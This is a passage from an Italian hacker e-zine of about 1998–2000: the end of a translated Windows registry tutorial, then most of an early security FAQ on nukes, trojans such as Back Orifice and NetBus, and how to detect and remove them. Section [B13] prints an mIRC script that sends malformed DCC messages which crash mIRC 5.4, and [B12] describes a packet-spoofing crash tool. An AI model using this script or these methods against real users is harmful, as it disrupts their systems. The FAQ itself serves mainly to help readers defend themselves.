| HKEY_LOCAL_MACHINE |
| |
|Questa chiave contiene qualsiasi informazione sul sistema , sulle applicazioni e|
|sui servizi di un computer. |
| |
|Molte informazioni si aggiornano automaticamente mentre il computer è in esecu- |
|zione. I dati immagazzinati in questa chiave vengono condivisi da ogni utente. |
| |
|Questa chiave ha varie sottochiavi: |
| |
| Config |
|Contiene dati della configurazione per configurazioni diverse dell' hardware. |
| |
| Enum |
|Questa contiene i dati delle periferiche. Per ogni periferica nel tuo computer, |
|tu puoi cercare informazioni come il tipo di periferica, la casa produttrice, i |
|drive e la configurazione corrente. |
| |
| Hardware |
|Questa chiave contiene la lista delle porte seriali,i processori e processori. |
| |
| Network |
|Contiene Informazioni sulla rete. |
| |
| Security |
|Mostra informazioni sulla sicurezza della tua rete. |
| |
| SoftWare |
|Questa chiave contiene informazioni sui software installati. |
| |
| System |
|Questa invece contiene dati che amministrano le periferiche usate da Windows e |
|la loro configurazione. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_CLASSES_ROOT |
| |
|Questa chiave è un alias del ramo HKEY_LOCAL_MACHINE\Software\Classes e contiene|
|OLE, drag'n'drop,shortcut e informazioni sui file associati. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_CURRENT_CONFIG |
| |
|Questa chiave è un'altro alias. Esso contiene una copia del ramo HKEY_LOCAL_ |
|MACHINE\Config, con la configurazione corrente del computer. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_DYN_DATA |
| |
|Contiene alcune informazioni sulle frequenti modifiche del registro, cosi |
|Windows mantiene una parte di esso in memoria nel tuo Hard Disk. Per esempio, |
|conserva la configurazione PnP e le prestazioni del computer. Questa chiave ha |
|due sottochiavi: |
| |
| Config Manager |
|Questa SubKey contiene tutte le informazioni sui problemi dell'Hardware e sulla |
|sua configurazione. Contiene anche la sottochiave HKEY_LOCAL_MACHINE\Enum. |
| |
| PerfStats |
|Contiene informazioni sulle prestazioni del sistema e della rete. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_USERS |
| |
|Questa importante chiave contiene le sub key .Default e un'altra chiave per ogni|
|utente che ha accesso al computer. Se c'è soltanto un' utente, esiste solo la |
|Default key. Ogni sottochiave gestisce le impostazioni per ogni utente, come il |
|colore del desktop, i font usati, e anche le impostazioni di altri programmi. |
|Se tu apri una chiave di un' utente potrai trovare 5 importanti sottochiavi: |
| |
| AppEvent |
|Contiene la directory dei file audio che windows esegue quando svolge determi- |
|nate operazioni. |
| |
| Control Panel |
|Qui ci sono le impostazioni del Pannello di Controllo. Esse risiedono nei file |
|win.ini e control.ini |
| |
| Keyboard Layouts |
|Contiene una voce che identifica e setta nel Pannello di Controllo il tipo di |
|tastiera usata. |
| |
| Network |
|Questa chiave ha delle sottochiavi che descrivono i correnti e recenti collega- |
|menti alla rete. |
| |
| RemoteAccess |
|Le impostazioni dell'Accesso Remoto sono contenute qui. |
| |
| Software |
|Contiene le impostazioni su tutti i software installati. Queste informazioni |
|sono contenute nel win.ini o negli altri file privati .ini. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_CURRENT_USER |
| |
|E' un alias della HKEY_USERS. Se il tuo computer non è configurato per un uso |
|multi-utente, è messo nella sottochiave .Default di HKEY_USERS. |
| |
+--------------------------------------------------------------------------------+
| |
| Descrizione di un file .reg |
| |
+--------------------------------------------------------------------------------+
|Qui presumo che vuoi abbiate gia un file .reg nel vostro hard disk e vogliate |
|conoscere come esso sia strutturato. Adesso non facciamo doppio click sul file |
|.reg o il suo contenuto verrà aggiunto al registro di windows, ovviamente ci |
|sarà un messaggio di avviso che vi avvertirà. Per cominciare avviamo Il notepad |
|da Start>Programmi>Accessori>Blocco note. Poi attraverso il menu apriamo il file|
|.reg. |
| |
|Ora , la parola che rende differente un file .reg da altri archivi è REGEDIT4. |
|Questa dovrebbe essere la prima stringa di ogni archivio .reg. Se questa parola |
|non c'è, l' editor di registro non riconosce il file come un file .reg. |
| |
|Poi segue la dichiarazione della chiave che deve essere fatta fra parentesi |
|quadre e con la directory completa. Se la chiave non esiste , verra creata. |
|Successivamente alla dichiarazione della chiave , potrai vedere una lista di |
|valori che verranno impostati in particolari chiavi del registro di Windows. |
| |
+--------------------------------------------------------------------------------+
| |
| I valori vengono dichiarati cosi: |
| |
| "value name"=type:value |
| |
|Il nome del valore è racchiuso fra virgolette. Type può essere assente per i |
|valori della stringa, dword: |
|per valori dword ed hex : per valori binari e per tutti gli altri valori che |
|utilizzano il codice hex(#): dove # indica il codice API. |
| |
| Ankit Fadia |
| ankit@bol.net.in |
| Iscriviti alla mia mailing list per ricevere altri tutorial [in inglese], |
| manda un e-mail a: programmingforhackers-subscribe@egroups.com |
| |
| Pubblicato su Black Sun Research Facility - http://blacksun.box.sk |
| |
+--------------------------------------------------------------------------------+
| |
| Nota importante : expand string has API code = 2 and extended string has API |
| code = 7. |
| |
|Come puoi vedere, le stringhe sono a quota doppia, dword è esadecimale e binary |
|è una sequenza di byte pari esadecimali, con una virgola fra ognuno. Se vuoi |
|aggiungere un back slash in una stringa ,ricordati di ripeterlo due volte, così |
|il valore "c:\Windows" sara c:\\Windows. |
|Prima di scrivere un nuovo file .reg , sii sicuro di fare questo altrimenti |
|otterai un messaggio d'errore. |
| |
+--------------------------------------------------------------------------------+
| |
| Comandi per la registrazione di Argomenti. |
| |
| FILENAME.REG per aggiungere un file .reg al registro |
| |
| /L:SYSTEM Per specificare la posizione del SYSTEM.DAT |
| |
| /R:USER per specificare la posizione di USER.DAT |
| |
| /e FILENAME.REG [KEY] Per "esportare" il registro in un file. Se la chiave è |
| specificata, questa verrà esportata. |
| |
| /c FILENAME.REG Per sostituire l'intero registro con un file .reg |
| |
| /s per lavorare silenziosamente , senza informazioni dal prompt o messaggi di |
| errore. |
| |
+--------------------------------------------------------------------------------+
| |
| E questo è tutto per il registro di Windows. |
| |
| Ankit Fadia - ankit@bol.net.in |
| |
| Visitate il mio sito per vedere altri tutorial scritti da me: |
| |
| http://www.crosswinds.net/~hackingtruths |
| |
| Pubblicato su Black Sun Research Facility - http://blacksun.box.sk |
+--------------------------------------------------------------------------------+
| |
| ///...\\\.../// FINE DELLA TRADUZIONE \\\...///...\\\ |
| |
| Versione Originale di (inglese) : Ankit Fadia <ankit@bol.net.in> |
| Versione Tradotta : SpIDeR2K |
| E-mail : spider2k@freemail.it |
| Data Traduzione: 28 (sera) - 29 (mattina) /06/2000 |
| |
+--------------------------------------------------------------------------------+
| |
|Se voi , espertoni di inglese da 30 e lode , leggete questo file e trovate |
|errori o parti non molto comprensibli , scrivetemi pure e vedrò di mandarvi il |
|file originale in inglese. |
| |
|Byeeeeeezzz! |
| |
+--------------------------------------------------------------------------------+
| |
| Potete trovare il testo originale su http://napolihak.cjb.net |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [VARI] -=[08]=- |
|FAQ Sulla Sicurezza Security |
+--------------------------------------------------------------------------------+
| |
| Security FAQ - versione 0.51 beta 2 |
| |
+--------------------------------------------------------------------------------+
| |
| Revisore: Massimiliano Baldinelli |
| Ultima revisione: 22/11/1998 |
| e-mail: M.Baldinelli@agora.stm.it |
| Distribuzione: it.comp.sicurezza.varie |
| it.faq |
| http://www.linuxvalley.com/~lserni |
| http://www.agora.stm.it/M.Baldinelli/software/securfaq.txt|
| Credits: Giulio |
| invy |
| Leonardo Serni |
| Marco D'Itri |
| Master |
| Maurizio Cimaschi (per [PORT-Appendice] e [C01a]) |
| Paolo Monti (per [B24]) |
| x-hacker |
| (e altri che ho certamente dimenticato) per contributi |
| diretti e/o indiretti al materiale qui riportato. Contribu|
| ti diretti = correzioni, citazioni e materiale diretto a |
| me (tramite e-mail o risposte a miei post su comp.sicurez-|
| za.varie). Contributi indiretti = tutto il resto è stato |
| postato su ics.varie e sul quale questa FAQ p basata. |
| |
+--------------------------------------------------------------------------------+
| |
| 0 - Storia |
| Disclaimer |
| Distribuzione |
| Appello |
| |
| A - Informazioni generali |
| [A01] Cos'e' un nuke |
| [A02] Vari tipi di attacco |
| [A03] Ma cosa sono queste "porte"? |
| [A04] Differenze fra hackers e altri bei tomi |
| [A05] Ho sentito parlare di "editor esadecimale", ma non ho capito esattamen|
| te cos'è... |
| |
| B - Le minacce dall'esterno |
| [B01] Cos'è Bo? |
| [B02] Ma cos'è un trojan? |
| [B03] Infettare con il Bo |
| [B04] SilkRope? E che è? |
| [B05] Cosa si fa con BO |
| [B06] Come faccio a sapere se ho il Bo? |
| [B07] Ho scoperto di avere Bo, come lo tolgo? |
| [B08] E come mi accorgo invece di Netbus? |
| [B09] Scoprire trojan in generale. |
| [B10] Come si toglie Netbus? |
| [B11] Come si toglie TeleCommando? |
| [B12] Cos'è Aggressor? |
| [B13] Un bug di mIRC |
| [B14] Che rischi corro usando ICQ? |
| [B15] Cosa sono le scansioni invisibili? |
| [B16] Ma cosa può passare da 'ste benedette porte? |
| [B17] Può un intruso conoscere quello che scrivo sulla tastiera? |
| [B18] Ma il file windll.dll non è un file di sistema di Windows? |
| [B19] Ho ricevuto un messaggio e-mail con un allegato, ma quando tento di |
| leggerlo il mio Outlook va in crash. |
| [B20] Come vedo se ho il protocollo NetBIOS su TCP/IP installato? Che rischi|
| corro? |
| [B21] [MacOS] E' possibile far piantare il Mac tramite la rete? |
| [B22] E' possibile che qualcuno riesca a navigare "sembrando me"? |
| [B23] Senza programmi come Bo o NetBus è possibile "entrare" nel computer di|
| qualcuno? |
| [B24] Le porte UDP 137 e 138 sono un rischio? E perché? |
| [B25] Ho notato che ogni volta che mi connetto a internet si aprono automati|
| camente queste due porte 137 e 138. Io ho la versione OSR2 di win95, è|
| un problema di questa versione? |
| |
| C - Metodi di difesa |
| [C01] Proteggere il sistema - Info generali |
| [C01a] Come si configura correttamente il Nuke Nabber? |
| [C02] Le componenti di rete, ovvero: cosa tengo e cosa tolgo? |
| [C03] Ma se tolgo il Client per reti MS non mi memorizza più la password!!! |
| [C04] Quali porte controllare con NukeNabber? |
| [C05] Cosa uso per controllare l'attività di rete del mio computer? |
| [C06] Password mantenute in cache |
| [C07] Ho il programma WinTOP dei Kernel Toys. Serve a qualcosa? |
| [C08] E' vero che si possono far eseguire dei programmi dannosi allegandoli |
| a un messaggio e-mail? |
| [C09] Posso proteggere un file o una directory sotto Windows da accessi in- |
| desiderati? |
| |
+--------------------------------------------------------------------------------+
| |
| 0 - Storia |
| |
|16/10/1998: v. 0.1 pre-alpha |
| - Prima apparizione |
|24/10/1998: v. 0.2 alpha |
| - Aggiunta [B13], Storia, Disclaimer, Distribuzione, Appello, [C05],|
| [C06] |
| - Aggiornata [A04], [A02], [B01], [B07] |
|14/11/1998: v. 0.5 beta 1 |
| - Aggiunta [B15], [B16], [B17], [B18], [C07], [C08], [A05], [B19], |
| [B20], [B21], [B22], [B23], [C09], [PORT-Appendice], [C01a] [B24],|
| [B25] |
| - Aggiornata [C01], [A01], [B04], [C04], [A03], [B01] |
|22/11/1998 v. 0.51 beta 2 |
| - Aggiornata [A05], [B01] |
| |
+--------------------------------------------------------------------------------+
| |
| Disclaimer |
| |
|Ogni modifica fatta al sistema, riguardante la configurazione hardware e/o soft-|
|ware, è ESCLUSIVAMENTE a rischio e pericolo del lettore di questa FAQ, come pure|
|la responsabilità delle conseguenze di tali modifiche (dato che non posso cono- |
|scere le infinite varianti dei sistemi in uso e relative necessità di configura-|
|zione, in particolare riguardo la rete eventualmente installata). |
|Se il computer da riconfigurare e/o ripristinare non è il proprio, avvertire il |
|proprietario/responsabile per essere autorizzati a metterci le mani. |
|Questo riguarda soprattutto macchine usate in ambito lavorativo e/o accademico, |
|ma anche più semplicemente il computer non proprio ma del fratello/cugino/amico |
| |
+--------------------------------------------------------------------------------+
| |
| Appello |
| |
|Questo documento non vorrebbe avere un approccio troppo Windows-centrico, ma a |
|causa dell'uso prevalente da parte del suo curatore dell'accoppiata Wintel (e, a|
|giudicare dai messaggi in i.c.s.varie, anche da parte di chi si rivolge al grup-|
|po per chiedere aiuto) la situazione non può essere che questa. E' quindi gradi-|
|to l'invio alla mia e-mail di ogni contributo riguardante problemi di sicurezza |
|e (se esistono) relativi rimedi riguardanti anche altri sistemi, come Amiga, |
|OS/2, Mac, Linux, ... |
| |
+--------------------------------------------------------------------------------+
| |
| [A01] Cos'è un nuke |
| |
|Sappiamo tutti (in particolare gli utenti Windows) che non esiste il sistema ope|
|rativo perfetto. E' possibile mandare in crisi un sistema operativo connesso in |
|rete inviandogli pacchetti di dati costruiti a regola d'arte, che sfruttino per |
|esempio una cattiva implementazione del protocollo TCP/IP, quello usato in Inter|
|net. Gli effetti vanno dal Blue Screen of Death al congelamento totale della mac|
|china :( unico comando funzionante: pulsante di reset hardware). |
|Un esempio di nuke è dato da un pacchetto con indirizzo IP mittente uguale a qu-|
|ello del destinatario, che cortocircuita la connessione (in pratica, il computer|
|nel rispondere comincia a mandare dati a se stesso), oppure un pacchetto sapien-|
|temente frammentato in maniera che le parti si sovrappongano parzialmente. |
|Ovviamente il nuke è fatto su misura e sfrutta le debolezze di uno specifico |
|stack TCP abbinato al suo specifico sistema operativo; quindi il nuke che va be-|
|ne per Windows non va bene (o almeno non è detto che vada bene) per altri compu-|
|ter, e viceversa nuke che buttano giù altri computer, _forse_ potrebbero anche |
|non buttare giù Windows. |
| |
+--------------------------------------------------------------------------------+
| |
| [A02] Vari tipi di attacco |
| |
| - NesTea, Suffer3, Boink, Land, Oob, Smurf |
| |
|Si tratta di attacchi di tipo DoS (nulla a che vedere con MS-DOS, la sigla signi|
|fica Denial of Service, Privazione di Servizio). L'effetto varia da noie sullo |
|schermo in presenza di patch a reset della macchina, a schermi blue sotto Win, a|
|stop dei trasferimenti per intasamento delle connessioni; |
| |
| - Portscan |
| |
|Serve a trovare le porte aperte di un host remoto. |
| |
+--------------------------------------------------------------------------------+
| |
| [A03] Ma cosa sono queste "porte"? |
| |
|In un ufficio postale esistono vari sportelli, ognuno dei quali svolge un servi-|
|zio ben determinato: uno per le raccomandate, uno per i pacchi, uno per i tele- |
|grammi, uno per vaglia e conti correnti, uno per il pagamento delle pensioni... |
| |
|Analogamente, una macchina connessa alla rete (l'"ufficio postale") ha una serie|
|di porte (gli "sportelli"), ognuna delle quali ha un numero ed è associata a un |
|ben determinato servizio. Gli indirizzi di porta vanno da 0 a 65535, e quelli |
|inferiori a 1024 sono i cosiddetti Well Known Services (Servizi Ben Noti). |
|I piu' usati sono il 21 per l'ftp, il 23 per telnet, il 25 per smtp (invio di |
|posta), 80 (http, pagine web; molti server usano anche la porta 8080), il 110 |
|per pop3 (ricezione di posta), il 119 per nntp (le news). Il file services (in |
|windows è nella directory C:\<dir. di Windows>\System) li elenca in maniera più |
|dettagliata. |
| |
|VEDERE [PORT-Appendice] per un elenco con maggiori dettagli (tnx Maurizio!) |
| |
|Perché ci si possa collegare a una determinata porta, occorre che sulla macchina|
|ci sia un server in ascolto su di essa. Per esempio, quando riusciamo a spedire |
|una mail a qualcuno, è perché il server di posta del nostro provider ha un "demo|
|ne" in ascolto permanente sulla porta 25, mentre se l'invio fallisce significa |
|che quel programma non è in esecuzione (macchina spenta perché guasta, oppure il|
|programma stesso ha dato i numeri). Ancora, poiché Windows 95 non ha un server |
|telnet di serie (ha solo il client), se proviamo a fare telnet standard verso |
|una macchina Windows 95 il tentativo fallirà perché non c'é niente in ascolto |
|sulla porta 23. |
| |
+--------------------------------------------------------------------------------+
| |
| [A04] Differenze fra hackers e altri bei tomi |
| |
|C'è molta confusione sull'uso della parola hacker, per colpa soprattutto della |
|disinformazione a opera dell'informazione (che paradosso!) TV e stampata e di |
|certa cinematografia. L'hacker nell'immaginario comune è colui che cerca di pene|
|trare in un sistema per buttarlo giù, che nel corso delle sue scorribande provo-|
|ca comunque dei danni, come per esempio il furto di file di password o altre in-|
|formazioni riservate. Quello non è un hacker, ma un __cracker__. L'__hacker__ in|
|vece è una persona che anzi non lascia tracce, che se viola la sicurezza di un |
|sistema è per dimostrare di esserne capace. |
| |
|Un hacker cerca di apprendere sempre di più sulla macchina e sistema operativo |
|che usa (e sugli altri ovviamente). Il suo scopo è quello di vincere certe sfide|
|e in un certo senso anche di rendersi utile alle sue vittime. |
|L'etica hacker infatti vuole che dopo aver violato un sistema si lasci una trac-|
|cia, da qualche parte nel sistema stesso, che informi il suo amministratore come|
|è stato possibile entrare e quali falle nella sicurezza sono state sfruttate, |
|cosicché egli possa tapparle. |
|I __wannabe__ sono invece coloro che "vorrebbero essere" (wannabe = want to be |
|[voler essere], contrazione americana credo) per esempio hacker, ma che non lo |
|sono. Nei newsgroup un wannabe farà spesso sfoggio di termini tecnici, anche a |
|sproposito, salvo volatilizzarsi o buttarla in rissa quando si cerca di approfon|
|dire un argomento che non è in grado di sostenere. Un __lamer__ invece è chi si |
|crede un grande esperto, per esempio di sistemi, mentre in realtà sfrutta solo |
|ciò che gli altri hanno già fatto. Un esempio? Tutti i tipi che si danno arie da|
|hacker solo perché sono capaci di lanciare il client di Bo (che non sarebbero |
|mai capaci di scrivere, per inciso) e mandare un messaggio pop-up sullo schermo |
|del boservizzato. |
| |
|Questo e molto altro è spiegato in "The Hackers's Dictionary 3ed.", anche in ver|
|sione WWW, mentre il testo di riferimento per tutte queste definizioni è il Jar-|
|gon File, disponibile in formato testo e info in parecchi siti, e la cui home pa|
|ge e': |
| |
| http://www.ccil.org/jargon/ |
| |
+--------------------------------------------------------------------------------+
| |
| [A05] Ho sentito parlare di "editor esadecimale", ma non ho capito esattamen-|
| te cos'è... |
| |
|I programmi tipo edit.com dell'MS-DOS o NotePad (Blocco Note nella versione ita-|
|liana) di Windows sono degli editor di testo che permettono di leggere e modifi-|
|care dei file di testo; ne esistono un'infinità commerciali o free. |
|Gli editor esadecimali sono analoghi concettualmente, ma permettono di leggere e|
|modificare ogni tipo di file, quindi vengono usati per aprire e manipolare dei |
|file binari, come eseguibili (.exe e .com), librerie (.dll), eccetera. |
|Si chiamano editor esadecimali perché con essi viene visualizzato il valore esa-|
|decimale dei byte che costituiscono il file, tipicamente in una parte della fi- |
|nestra, mentre nell'altra viene mostrata la sequenza di caratteri corrispondenti|
|(se stampabili a schermo). |
| |
|Un editor esadecimale è un programma semplice ma potentissimo, perché permette |
|di fare praticamente tutto su ogni file, e l'unica condizione è di sapere ESAT- |
|TAMENTE cosa si fa. Questo significa che, se volessimo cambiare la scritta "Av- |
|vio di Windows..." che appare al boot o la scritta "Avvio" o "Start" sul pulsan-|
|te di avvio, dovremmo aprire il file giusto (nel secondo caso explorer.exe) con |
|un editor esadecimale, posizionarci nel punto in cui è memorizzata la stringa e |
|cambiarla. Inutile dire che l'uso di tali programmi è pericolosissimo se fatto |
|per puro cazzeggio, dato che un file binario modificato "alla cieca" diventa con|
|altissima probabilità inutilizzabile. |
| |
|Per le sue caratteristiche, gli editor esadecimali si prestano anche ad usi non |
|"politicamente corretti" (eufemismo), come sprotezione di programmi, camuffamen-|
|to rispetto ad antivirus e programmi di monitoraggio in genere, e così via. |
| |
+--------------------------------------------------------------------------------+
| |
| [B01] Cos'è Bo? |
| |
|E' un programma cosiddetto Trojan, che permette intrusioni indesiderate nel pro-|
|prio computer. BO è l'acronimo di Back Orifice, nome che irride il prodotto Back|
|Office di Microsoft, oltre ad essere molto esplicito sulla parte del corpo che |
|duole dopo esserselo installato :-))). Esso si compone di un client e di un ser-|
|ver, quest'ultimo dev'essere installato sul computer della vittima, dopodiché il|
|client permette al "buon samaritano" che lo possiede, e a chiunque abbia il cli-|
|ent installato, di compiere varie operazioni sul computer "boservizzato" (viene |
|indicato in questo modo un computer che abbia installato il server). |
|Le operazioni possono essere le più svariate, dal trasferimento di file all'ese-|
|cuzione di programmi, alla lettura di informazioni contenute nei dischi |
|(fissi, cd-rom, zip, ...). |
| |
|Bo fa parte della categoria delle backdoor. In effetti, nel sito Web dei creato-|
|ri di Back Orifice (il gruppo Cult of the Dead Cow, http://www.cultdeadcow.com )|
|esso è definito come un programma di controllo a distanza. Da notare che esso |
|funziona perfettamente sia sotto Windows 95 che sotto Windows 98, mentre non se |
|ne conosce ancora una versione per Windows NT. |
| |
+--------------------------------------------------------------------------------+
| |
| [B02] Ma cos'e' un trojan? |
| |
|Un trojan, da non confondere con i virus che sono un'altra cosa, è un programma |
|che si nasconde sotto le mentite spoglie di un altro programma. Per esempio l'au|
|toinstallante che si spaccia come un fantastico screen saver con il filmato di |
|Pamela. Oltre al Bo rientrano in questa categoria anche programmi come NetBus e |
|TeleCommando. Il nome ovviamente deriva dal mitico Cavallo di Troia, che dentro |
|l'apparenza di un dono di pace celava gli uomini che avrebbero distrutto la cit-|
|tà stessa.
|
| |
+--------------------------------------------------------------------------------+
| |
| [B03] Infettare con il Bo |
| |
|Il veicolo di trasmissione di Bo è un programma chiamato SilkRope. Esso incapsu-|
|la il server di Bo in un altro programma in maniera apparentemente invisibile, a|
|meno di non aprirlo con un editor, e lo installa quando il programma viene ese- |
|guito (ecco il parallelo col Cavallo di Troia). E' questa caratteristica che |
|giustifica il fatto di considerare Back Orifice un trojan, oltre che una back- |
|door. |
| |
+--------------------------------------------------------------------------------+
| |
| [B04] SilkRope? E che è? |
| |
|Dati due programmi a 32 bit li fonde in un unico programma che quando viene ese-|
|guito lancia i due originari. Il programma in sé non è pericoloso, dato che esso|
|può fondere due eseguibili a 32 bit qualunque. |
|In tutti i casi in cui sull'hard disk è presente un eseguibile formato da due |
|programmi uniti con SilkRope, un controllo antivirus potrebbe dare comunque l'al|
|larme, anche se i due programmi sono perfettamente innocui. |
| |
+--------------------------------------------------------------------------------+
| |
| [B05] Cosa si fa con BO |
| |
|E' possibile eseguire operazioni remote sul computer boservizzato come se si |
|stesse operando direttamente su di esso. Bo mette in grado il suo utilizzatore |
|anche di conoscere eventuali password digitate, intercettando la tastiera (fun- |
|zione svolta dal file windll.dll). |
|Si può anche aprire la porta 23, quella del telnet, sul PC boservizzato. In tal |
|caso è possibile avere una shell sul computer della vittima, esattamente come se|
|si telnettasse su sistemi Unix, utilizzando però il command.com del DOS invece |
|delle shell Unix come bash. |
| |
+--------------------------------------------------------------------------------+
| |
| [B06] Come faccio a sapere se ho il Bo? |
| |
|Di certo non leggendo la finestra che appare premendo CTRL-ALT-DEL. Bo usa una |
|funzione dell'API di Windows che serve a nascondere il processo che la chiama. |
|"Nascondere" vuol dire appunto che non si vede nella taskbar né nella finestra |
|che appare premendo CTRL-ALT-DEL. Mentre si é in linea, aprite una finestra DOS |
|e lanciate il comando netstat -na. |
| |
|Questo mostrerà tutte le connessioni attive in quel momento (aggiungere un nume-|
|ro per specificare un controllo periodico ogni <X> secondi): se fra esse ce n'è |
|una sulla porta 31337, è lui! |
| |
|Questo non esaurisce l'argomento, dato che la porta è configurabile e quindi può|
|essere cambiata da chi tenta di introdursi nelle macchine altrui. Naturalmente |
|l'infame può decidere di manifestarsi apertamente, con messaggi pop-up, e in tal|
|caso non c'è dubbio. Un programma utile al controllo è AVP System Watcher |
|(http://www.avp.it, freeware), che controlla il sistema alla ricerca di BO. |
|Antigen è un altro programma per eliminare il Boserve nella forma di default. |
|In ogni caso, anche se il Boserve che vi siete ritrovati sull'HD ha nome e porta|
|di comunicazione differenti, Antigen non riesce a rimuoverlo ma vi rivela comun-|
|que la sua presenza e lo disattiva sino al seguente reboot (non riesce a cancel-|
|lare l'exe del bo in versione non default e la seguente chiamata dal registro di|
|Win). |
| |
+--------------------------------------------------------------------------------+
| |
| [B07] Ho scoperto di avere Bo, come lo tolgo? |
| |
|Si può fare anche a mano. Cercare e cancellare il file " .exe" (sì, il nome del |
|file è uno spazio) e windll.dll. Il primo è il server vero e proprio. |
|Cercare comunque la stringa "bofilemap" nell'hard disk è più sicuro, dato che il|
|nome del server può essere variato. Andare nel Registro di Windows alle chiavi |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices |
| |
|dove sono i programmi lanciati all'avvio. Cancellare da tale chiave qualunque co|
|sa non sia di "sicura" provenienza (Barra di Office, antivirus, demone ICQ, ...)|
|Controllare anche |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce |
| |
+--------------------------------------------------------------------------------+
| |
| [B08] E come mi accorgo invece di Netbus? |
| |
|Il file sysedit.exe nella directory C:\<dir di Windows>\System è di 20k. Se inve|
|ce è grande ~400k è il server di Netbus. Attenzione anche a file di nome |
|patch.exe, splat1.exe o contascatti.exe e persino explore.exe, diverse versioni |
|del trojan possono essere in uno di questi! |
| |
+--------------------------------------------------------------------------------+
| |
| [B09] Scoprire trojan in generale. |
| |
|Un metodo applicabile a questo tipo di trojan client-server è quello di instal- |
|lare il client e di provare a contattare il server, dando l'indirizzo IP |
|127.0.0.1, che corrisponde appunto alla macchina locale (localhost). Se il clie-|
|nt ottiene una risposta, avete trovato il server che andrà rimosso prontamente. |
| |
+--------------------------------------------------------------------------------+
| |
| [B10] Come si toglie Netbus? |
| |
|La versione 1.53 presenta gravi bug, come ad esempio l'impossibilità di rimuover|
|lo attraverso il pulsante di server admin (server admin --->remove server). |
|In questo caso convinene eliminarlo manualmente. In tutti gli altri casi basta |
|avere Netbus versione client e cliccare appunto su server admin e selezionare |
|remove server. Questo dopo essersi collegati all'indirizzo di localhost |
|(127.0.0.1). Nel caso esista una password la ricerca di tale pass è semplice. |
|Si cerca nel registro di Win il nome del server (Patch oppure Explore) e si leg-|
|gerà la pass scritta in chiaro alla voce settings. |
| |
+--------------------------------------------------------------------------------+
| |
| [B11] Come si toglie TeleCommando? |
| |
|Procurarsi il client ed eseguire il comando "Uninstall Server". Se la risposta è|
|"You have NO Rights", tentare un password vuota. Altrimenti il metodo manuale: |
| |
| 1) Aprire il registro con Regedit e andare alla chiave |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
| |
|togliere il riferimento al file odbc.exe, che si trova in C:\<dir. di Windows> |
|\System |
| |
| 2) Riavviare il computer |
| |
| 3) Cancellare il file |
| |
+--------------------------------------------------------------------------------+
| |
| [B12] Cos'è Aggressor? |
| |
|E' un exploit generator. Esso genera pacchetti anomali, che sfruttano delle pec-|
|che specifiche di ogni sistema operativo. Per esempio, un pacchetto con una ses-|
|ta word tale che, in AND con 0x0FE0, ti dà un valore diverso da zero, non gesti-|
|to da Windows. L'utilizzatore gli dà un IP a cui inviare i pacchetti strani, e |
|il PC della vittima subisce malfunzionamenti vari (si blocca, si resetta, ecc..)|
|Per ovviare al fatto che, sotto Windows, non si possono inviare pacchetti "raw",|
|Aggressor implementa un proprio sistema di controllo del flusso di dati. In Ag- |
|gressor, fra l'altro, si puo' specificare il Source IP: vuol dire che l'attacco |
|sembra arrivare dall'IP specificato e non dal proprio, ossia ogni pacchetto IP |
|che venisse loggato o ispezionato dal remoto, avrebbe quell'indirizzo invece di |
|quello effettivo di provenienza. |
| |
+--------------------------------------------------------------------------------+
| |
| [B13] Un bug di mIRC |
| |
|Sembra che la versione 5.4 di IRC 5.4 abbia un bug che causa il blocco del com- |
|puter attraverso il DCC. Il problema si può risolvere con il seguente script che|
|funziona *solo* con mirc 5.4; il bug dovrebbe essere risolto nella versione 5.41|
| |
| phixme { |
| %ip = $rand( ?phixer-cut? ) |
| raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND $r(1,99) $+ .txt %ip |
| $r(113,9000) $+ $chr(1) $+ $lf $+ privmsg $1 : $+ $chr(1) $+ DCC |
| RESUME $r(1,99) $+ .txt $+ $chr(1) |
| } |
| |
+--------------------------------------------------------------------------------+
| |
| [B14] Che rischi corro usando ICQ? |
| |
|La prima cosa da sapere è che ICQ, come tutti i programmi basati su TCP/IP, uti-|
|lizza delle porte, attraverso le quali passano i dati che inviate e ricevete. |
|In particolare, ICQ apre una porta per ogni utente con cui state comunicando, |
|quindi le conclusioni restano all'intuito del lettore di questa FAQ... |
|Può essere in teoria possibile che un programma si camuffi da ICQ e quindi fac- |
|cia uso delle porte che l'utente di ICQ apre per dialogare con un utente remoto |
|(c'è qualcuno in grado di confermare o smentire?). Esistono anche dei programmi |
|che permettono di usare ICQ come backdoor (avviso ai lamer: non li conosco, quin|
|di non scrivetemi per chiedermi dove sono ^__^). |
|E' quindi buona norma anche per l'utente di ICQ (come il sottoscritto... sigh!) |
|controllare sempre il PC alla ricerca di presenze sospette. |
| |
+--------------------------------------------------------------------------------+
| |
| [B15] Cosa sono le scansioni invisibili? |
| |
|E' possibile sapere se sono state effettuate delle "stealth scan" standard anche|
|sotto Windows 95. Bisogna aprire un prompt MS-DOS e dare il comando: |
| |
| C:\WINDOWS\Desktop>netstat -snap tcp |
| |
| TCP Statistics |
| Active Opens = 245 |
| Passive Opens = 8 |
| Failed Connection Attempts = 9 |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| |
|Il valore della riga sottolineata corrisponde al numero di porte aperte scansio-|
|nate dall'esterno (solo per le porte aperte e' possibile sapere se sono state |
|scansionate). In particolare, il valore indicato e' il numero di scansioni "invi|
|sibili" avvenute in successione su porte che ha trovato (NON, come in Linux, il |
|totale delle scansioni che ha tentato). |
| |
|Per esempio, se abbiamo una sola porta aperta e quello scansiona sei volte tutto|
|l'intervallo da 1 a 1024, il valore di "Failed Connection Attempts" e' 6. Se in-|
|vece scansiona tutto l'intervallo TRANNE quell'unica porta aperta, il valore sa-|
